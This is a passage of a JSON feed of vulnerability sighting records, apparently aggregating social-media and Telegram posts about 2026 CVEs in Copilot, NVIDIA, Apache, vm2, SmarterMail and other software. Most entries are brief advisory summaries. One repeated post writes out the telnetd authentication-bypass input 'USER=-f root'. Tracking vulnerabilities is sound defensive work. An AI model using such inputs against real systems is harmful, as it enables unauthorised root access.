"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mrt5pz6mij2a", "content": "Copirate 365: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299)\ncomments \u00b7 posted on 2026.07.29 at 17:37:15 (c=0, p=4)", "creation_timestamp": "2026-07-30T00:12:04.621626Z"}, {"uuid": "672a5cef-63f4-4f47-9697-81cfb31cd704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mrt5q2vhh72z", "content": "Copirate 365: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299)\n\nDiscussion", "creation_timestamp": "2026-07-30T00:12:06.435002Z"}, {"uuid": "df5cbf48-dc16-4f39-86d6-516ccac515c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "seen", "source": "https://t.me/GithubRedTeam/96526", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BAS-Guardian\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a spinfosecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 02:59:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T04:00:03.048171Z"}, {"uuid": "434d2d2a-03b2-46fe-a2a6-38393f082f8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24060", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96526", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Vulnerability Scanner\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BAS-Guardian\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a spinfosecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 02:59:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T00:00:55.569213Z"}, {"uuid": "fb7fb2a8-7114-4547-a502-15666e7f929c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24299", "type": "seen", "source": "https://bsky.app/profile/rhodzy.com/post/3msc7uhjgvh2l", "content": "New blog post: Copilot: More Like Copirate If You're Not Careful\n\nMicrosoft Copilot is everywhere, but a recent CVE shows it's not all sunshine and AI...\n\nhttps://rhodzy.com/blog/copilot-more-like-copirate-if-youre-not-careful\n\n#microsoftcopilot #aisecurity #enterpriseit #cve-2026-24299 #techopinion", "creation_timestamp": "2026-08-05T00:00:17.630669Z"}, {"uuid": "112907b3-65a3-498d-b799-98a118bca558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24084", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-10", "content": "", "creation_timestamp": "2026-08-04T16:45:07.608265Z"}, {"uuid": "8a147346-394c-4d80-add8-3740b5ec648f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24080", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-10", "content": "", "creation_timestamp": "2026-08-04T16:45:10.060303Z"}, {"uuid": "775c33e1-4af5-4a51-888c-886cafbca3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24079", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-10", "content": "", "creation_timestamp": "2026-08-04T16:45:13.318412Z"}, {"uuid": "a0f7180a-6bac-4503-8a21-f72d944d9bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24083", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msbihshx5l2l", "content": "\ud83d\udfe0 CVE-2026-24083 - High (7.8)\n\nMemory Corruption while processing IOCTL device driver requests with invalid arguments.\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24083/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-04T17:01:37.327603Z"}, {"uuid": "f9eb6c6c-24ab-47f4-8cf5-476c5bd79ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24084", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msbihzi5um2t", "content": "\ud83d\udfe0 CVE-2026-24084 - High (7.5)\n\nWeak configuration when UE does not verify the consistency of its additional security capabilitie...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24084/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-04T17:01:44.854509Z"}, {"uuid": "89cb5a86-c792-4078-b796-82ba447d3eed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24253", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/gacjtlujv4rab", "content": "CVE-2026-24253 - NVIDIA Dynamo Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-24253\n \n Published : Aug. 4, 2026, 5:22 p.m. | 24\u00a0minutes ago\n \n Description : NVIDIA Dynamo for Linux contains a vulnerability where an attacker could cause an out-of-bounds write. A successful...", "creation_timestamp": "2026-08-04T18:00:37.964131Z"}, {"uuid": "c2416aa7-d43a-4dc6-bcb2-b1efbfbb818c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24254", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/dqxjsusacosnh", "content": "CVE-2026-24254 - NVIDIA Dynamo Out-of-Bounds Write Vulnerability\nCVE ID : CVE-2026-24254\n \n Published : Aug. 4, 2026, 5:23 p.m. | 23\u00a0minutes ago\n \n Description : NVIDIA Dynamo for Linux contains a vulnerability in the multimodal serving topology, where an attacker could cause ...", "creation_timestamp": "2026-08-04T18:06:39.342967Z"}, {"uuid": "472595fb-2e51-4812-92e8-ca7e42c7ead1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24254", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msbpr5hku22m", "content": "CVE-2026-24254 - dynamo\nA security flaw in NVIDIA Dynamo for Linux could allow an attacker to execute unauthorized code, potentially compromising the system. This means sensitive data could be accessed or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#dynamo #nvidia #CVE #infosec", "creation_timestamp": "2026-08-04T19:12:06.199804Z"}, {"uuid": "2253c29b-bccc-49eb-ae6d-a2de7b36bcc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24665", "type": "seen", "source": "https://t.me/CyberDispatch/658", "content": "CVE-2026-24665 \n\nThe Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, a stored Cross-Site Scripting (XSS) vulnerability allows authenticated.", "creation_timestamp": "2026-08-30T00:00:48.240583Z"}, {"uuid": "232b4a2f-a2e2-4c49-b6e9-d4bcb9e6c9ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24954", "type": "seen", "source": "https://t.me/CyberDispatch/655", "content": "CVE-2026-24954 \n\nDeserialization of Untrusted Data vulnerability in magepeopleteam WpEvently mage-eventpress allows Object Injection.", "creation_timestamp": "2026-08-30T00:00:48.340140Z"}, {"uuid": "5ceb3059-b2ec-40c9-bc0d-a0232be34618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:15:08.936607Z"}, {"uuid": "8948b766-39a0-45ce-90b1-0cc334f1bb3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://t.me/CyberDispatch/625", "content": "SmarterMail fixed a critical unauthenticated RCE in its email server software.\n\nThe flaw, CVE-2026-24423 (CVSS 9.3), lets attackers execute OS commands via a crafted remote server. It affects builds before 9511.", "creation_timestamp": "2026-08-30T00:00:48.497810Z"}, {"uuid": "40d62d72-3989-4164-9e5f-e33c0133671c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://t.me/CyberDispatch/597", "content": "A single spreadsheet formula can now lead to full server takeover in Grist-Core.\n\nThe flaw, CVE-2026-24002 (CVSS 9.1), breaks out of the Pyodide sandbox, letting attackers run OS commands and access files and secrets.", "creation_timestamp": "2026-08-30T00:00:48.612100Z"}, {"uuid": "2770036c-fd06-4092-9b24-a83ec841d117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24260", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ms2hre7qzc2o", "content": "\u300cNVIDIA Container Toolkit\u300d\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027 - \u300cGPU Operator\u300d\u3082\u5f71\u97ff\n\n\u30b3\u30f3\u30c6\u30ca\u74b0\u5883\u3067NVIDIA\u88fdGPU\u3092\u5229\u7528\u3059\u308b\u969b\u306e\u30c4\u30fc\u30eb\u7fa4\u3067\u3042\u308b\u300cNVIDIA Container Toolkit\u300d\u306b\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\n\nNVIDIA\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670830\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u7af6\u5408\u72b6\u614b\u306b\u8d77\u56e0\u3059\u308b\u300cTOCTOU\uff08Time-of-check Time-of-use\uff09\u300d\u306e\u8106\u5f31\u6027\u300cCVE-2026-24260\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u653b\u6483\u306b\u306f\u4f4e\u3044\u6a29\u9650\u304c\u5fc5\u8981\u3068\u3055\u308c\u308b\u304c\u3001\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3084\u6a29\u9650\u6607\u683c\u3001\u30c7\u30fc\u30bf\u306e\u6539\u3056\u3093\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002Linu...", "creation_timestamp": "2026-08-01T22:00:26.284748Z"}, {"uuid": "6c1d8caf-cd66-4ce9-89f7-44f4f70098d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3msauqhyp6s2j", "content": "Fortinet CVE-2026-24858: Active Exploitation, SSO Bypass, CVSS 9.8", "creation_timestamp": "2026-08-04T11:08:33.870507Z"}, {"uuid": "a77317cf-12d2-4c9e-9f64-b07743e87e08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24897", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkp3bml2ph27", "content": "\ud83d\udea8 New Exploit: Erugo  0.2.14 - Remote Code Execution (RCE)\n\ud83d\udccb CVE: CVE-2026-24897\n\ud83d\udc64 Author: abdulmoiz\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52529\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-24897", "creation_timestamp": "2026-04-30T07:21:13.919210Z"}, {"uuid": "0027e661-2a33-4a9d-808a-a671b78f4a44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkpdnsitkq2y", "content": "\ud83d\udea8 New Exploit: Google Chrome  145.0.7632.75 - CSSFontFeatureValuesMap\n\ud83d\udccb CVE: CVE-2026-2441\n\ud83d\udc64 Author: nu11secur1ty\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52542\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-2441", "creation_timestamp": "2026-04-30T09:51:12.682474Z"}, {"uuid": "1f22f8d8-3618-41e7-86fc-d0516c359b7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24486", "type": "seen", "source": "https://bsky.app/profile/exploitdb-bot.bsky.social/post/3mkpe7khtxd2u", "content": "\ud83d\udea8 New Exploit: Python-Multipart 0.0.22 - Path Traversal\n\ud83d\udccb CVE: CVE-2026-24486\n\ud83d\udc64 Author: jefersoncardoso.dev\n\n\ud83d\udd17 https://www.exploit-db.com/exploits/52543\n\n#ExploitDB #InfoSec #CyberSecurity #CVE-2026-24486", "creation_timestamp": "2026-04-30T10:01:08.261819Z"}, {"uuid": "5ef55c3d-0afb-4a50-a061-fe33b9d11105", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3ms6o2x3erv2r", "content": "CVE-2026-24061 - Critical remote auth bypass in GNU Inetutils telnetd via USER=-f root. CVSS 9.8. Patch now. #CVE #infosec #GNU\n\nhttps://www.valtersit.com/cve/cve-2026-24061/", "creation_timestamp": "2026-08-03T14:03:48.762752Z"}, {"uuid": "235f879f-9d2e-4c96-9c6d-f6bdc8649ca5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117031949331381966", "content": "CVE-2026-24061 - Critical remote auth bypass in GNU Inetutils telnetd via USER=-f root. CVSS 9.8. Patch now. #CVE #infosec #GNU\nhttps://www.valtersit.com/cve/cve-2026-24061/", "creation_timestamp": "2026-08-03T14:03:52.237538Z"}, {"uuid": "5a6f9396-af80-47ca-b3cb-1772bae3cdba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2432", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mkqxbn7cb52r", "content": "CM Custom Reports plugin: Stored XSS (CVE-2026-2432). Admin input not sanitized, outputs raw. CVSS 4.4. Multi-site risk. No patch. Basic DevSecOps failure. #WordPress #XSS #CodeQuality\n\n https://www.valtersit.com/cve/2026/03/cve-2026-2432/", "creation_timestamp": "2026-05-01T01:14:59.017382Z"}, {"uuid": "3cea4ad4-af03-4d70-b5bc-3559d4029dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24178", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkr5etpdys2e", "content": "\u300cNVIDIA FLARE SDK\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027 - \u8a8d\u8a3c\u56de\u907f\u3084\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u304a\u305d\u308c\n\nNVIDIA\u306f\u3001\u5206\u6563\u74b0\u5883\u306b\u304a\u3044\u3066\u9023\u5408\u5b66\u7fd2\u3092\u5b9f\u73fe\u3059\u308b\u305f\u3081\u306e\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u958b\u767a\u30ad\u30c3\u30c8\u300cNVIDIA FLARE SDK\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3053\u3068\u3092\u53d7\u3051\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n...\n\n\u300cCVE-2026-24178\u300d\u306f\u3001\u300cNVFlare Dashboard\u300d\u306e\u30e6\u30fc\u30b6\u30fc\u7ba1\u7406\u3084\u8a8d\u8a3c\u306b\u304a\u3044\u3066\u5224\u660e\u3057\u305f\u8106\u5f31\u6027\u3002\u8a8d\u53ef\u3092\u30d0\u30a4\u30d1\u30b9\u3055\u308c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u3084\u6a29\u9650\u306e\u6607\u683c\u3001\u60c5\u5831\u6f0f\u6d29\u3001\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u304c\u751f\u3058\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u3002\n\n\u307e\u305f\u7d30\u5de5\u3055\u308c\u305f\u300cFOBS\u300d\u5f62\u5f0f\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\u51e6\u7406\u306b\u304a\u3044\u3066\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u30c7\u30fc...", "creation_timestamp": "2026-05-01T03:04:09.874827Z"}, {"uuid": "c31c1c7a-6598-4f24-993a-193a82eeeb99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/343", "content": "BYPASSING WINDOWS AUTHENTICATION REFLECTION MITIGATIONS FOR SYSTEM SHELLS - PART \u2461\n\nA new arbitrary Kerberos coercion technique (CVE-2026-26128) that led to a complete bypass of the patch of CVE-2025-33073. This short-lived RCE was then transformed into a universal LPE attack.\n\nBYPASSING WINDOWS AUTHENTICATION REFLECTION MITIGATIONS FOR SYSTEM SHELLS - PART 1\n\nAbuse of a new feature of recent Windows versions, namely the ability to connect to SMB shares on arbitrary TCP ports, to achieve local privilege escalation\u00a0(CVE-2026-24294) on up-to-date Windows Server 2025 machines.", "creation_timestamp": "2026-05-02T06:09:03.000000Z"}, {"uuid": "a04a6df4-8c34-44b0-a4ff-3ed3e2410721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "Telegram/yjUnQ6hKYXBxzaCr4Cr42UE0MHqi1VzU3UchLcz_NxtZwAY", "content": "", "creation_timestamp": "2026-04-30T09:00:04.000000Z"}, {"uuid": "ca702bc5-55e5-43b5-b644-3ced397f3640", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "Telegram/GBpYOLFByJUZNo27RsDzztksilkUG3XAg7CrsrR5OqI_xQ", "content": "", "creation_timestamp": "2026-05-02T13:21:19.000000Z"}, {"uuid": "845f17d6-8431-484f-ae1f-d4358535d16d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "Telegram/17cmREU9ZDSDvyz78F9oo9Lr_unjD9vL2ztNU0fhrgd68AR1", "content": "", "creation_timestamp": "2026-05-04T13:15:05.000000Z"}, {"uuid": "4081c631-96d5-4dac-8c9d-a2b2c7a9e328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mkzvysb3ne2i", "content": "CVE-2026-24072 - Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr\nCVE ID : CVE-2026-24072\n \n Published : May 4, 2026, 1:16 p.m. | 1\u00a0hour, 4\u00a0minutes ago\n \n Description : An escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allow...", "creation_timestamp": "2026-05-04T14:46:06.377150Z"}, {"uuid": "6e5d0977-6a7b-4022-b269-a027023ae555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24299", "type": "seen", "source": "https://bsky.app/profile/glitterbean.wehavecookies.social.ap.brid.gy/post/3mkzxscfe5bu2", "content": "Copirate 365 at DEF CON: Plundering in the Depths of Microsoft Copilot (CVE-2026-24299) https://embracethered.com/blog/posts/2026/defcon-talk-copirate-365/", "creation_timestamp": "2026-05-04T15:21:52.678481Z"}, {"uuid": "63d17fed-ea7d-4b27-b131-3fb962b1c2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24178", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3ml22jpwdiz2u", "content": "\ud83d\udccc CVE-2026-24178 - NVIDIA NVFlare Dashboard contains a vulnerability in the user management and authentication system where an unauthenticated attacker may cause authori... https://www.cyberhub.blog/cves/CVE-2026-24178", "creation_timestamp": "2026-05-04T16:07:09.108425Z"}, {"uuid": "713f6a89-704e-46b1-8e4a-25475bb66060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://gist.github.com/alon710/e818aa393dda5bd140273420e0cde714", "content": "", "creation_timestamp": "2026-05-04T16:40:28.000000Z"}, {"uuid": "eae3a14e-e420-4321-89bd-efec822a66b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://infosec.exchange/users/harrysintonen/statuses/116517446102524326", "content": "Several vulnerabilities in #Apache HTTP Server 2.4 have been fixed in release 2.4.67. The most severe of these are:\n- CVE-2026-23918: Apache HTTP Server: http2: double free and possible RCE on early reset\n- CVE-2026-24072: Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr\n- CVE-2026-33006: Apache HTTP Server: mod_auth_digest timing attack\nhttps://httpd.apache.org/security/vulnerabilities_24.html\n#CVE_2026_23918 #CVE_2026_24072 #CVE_2026_33006 #infosec #cybersecurity", "creation_timestamp": "2026-05-04T17:18:53.074884Z"}, {"uuid": "90fcd831-ec2c-43bd-8f9a-79811801abea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3ml27tsydx52v", "content": "CVE-2026-24072: Apache HTTP Server: mod_rewrite elevation of privileges via ap_expr", "creation_timestamp": "2026-05-04T17:42:17.411325Z"}, {"uuid": "afa80b21-1623-4f8a-a48f-bfd56f6efeb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24082", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2chqmwp22n", "content": "\ud83d\udfe0 CVE-2026-24082 - High (7.8)\n\nMemory Corruption when copying data from a freed source while executing performance counter desel...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24082/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:29:13.485063Z"}, {"uuid": "a41d179a-4e8d-4fef-be40-2c92ba04f5cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24118", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckcncdj2k", "content": "\ud83d\udd34 CVE-2026-24118 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24118/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:39.581003Z"}, {"uuid": "7ecf264b-d3ca-42fb-b5f2-129d5e2e50aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24120", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2ckkquyt2l", "content": "\ud83d\udd34 CVE-2026-24120 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.10.5, the fix for CVE-2023-37466...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24120/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:48.520546Z"}, {"uuid": "9a19cd16-0118-4fe5-82d0-1b75bb6d73a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24781", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2cks5l6l26", "content": "\ud83d\udd34 CVE-2026-24781 - Critical (9.8)\n\nvm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24781/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-04T18:30:55.554948Z"}, {"uuid": "865bc2c3-e827-4c10-b59a-4ad5d227969a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24072", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3ml2hlcwygd2z", "content": "\ud83d\udfe0 CVE-2026-24072 - High (8.8)\n\nAn escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allows local ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-24072/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": 